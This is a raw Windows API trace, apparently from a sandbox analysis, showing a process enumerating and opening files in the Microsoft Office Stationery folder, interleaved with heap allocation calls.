FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0079.766] GetLastError () returned 0x12 [0079.766] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0079.766] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0079.766] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.766] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0079.767] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.767] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.767] NtClose (Handle=0x124) returned 0x0 [0079.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb950 [0079.768] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0079.769] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.771] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0079.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2c70 [0079.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb8c8 [0079.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.772] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7886800, ftCreationTime.dwHighDateTime=0x1c05f78, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7886800, ftLastWriteTime.dwHighDateTime=0x1c05f78, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1 [0079.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2c90 [0079.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fba60 [0079.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.773] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1 [0079.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2cb0 [0079.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbae8 [0079.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.774] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a8100, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1a8100, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1 [0079.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2cd0 [0079.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbb70 [0079.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5a80) returned 0x12292f0 [0079.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12346c0) returned 1 [0079.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.775] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1 [0079.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2cf0 [0079.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbbf8 [0079.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.776] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33233200, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33233200, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1 [0079.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2d10 [0079.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbc80 [0079.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.777] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1 [0079.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2d30 [0079.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbd08 [0079.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.778] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48985c00, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48985c00, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1 [0079.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2d50 [0079.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbd90 [0079.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.779] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3d4500, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3d4500, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1 [0079.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2d70 [0079.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbe18 [0079.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.780] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1 [0079.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2d90 [0079.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbea0 [0079.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.781] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1 [0079.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2db0 [0079.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbf28 [0079.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.782] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa331b800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa331b800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1 [0079.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2dd0 [0079.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fbfb0 [0079.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.783] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfead0800, ftCreationTime.dwHighDateTime=0x1bdaedd, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfead0800, ftLastWriteTime.dwHighDateTime=0x1bdaedd, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1 [0079.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2df0 [0079.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc038 [0079.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.784] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a6900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc3a6900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1 [0079.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2e10 [0079.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc0c0 [0079.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.785] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9575800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9575800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1 [0079.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2e30 [0079.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc148 [0079.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.787] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371bc00, ftCreationTime.dwHighDateTime=0x1bdaede, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x371bc00, ftLastWriteTime.dwHighDateTime=0x1bdaede, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.JPG", cAlternateFileName="")) returned 1 [0079.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2e50 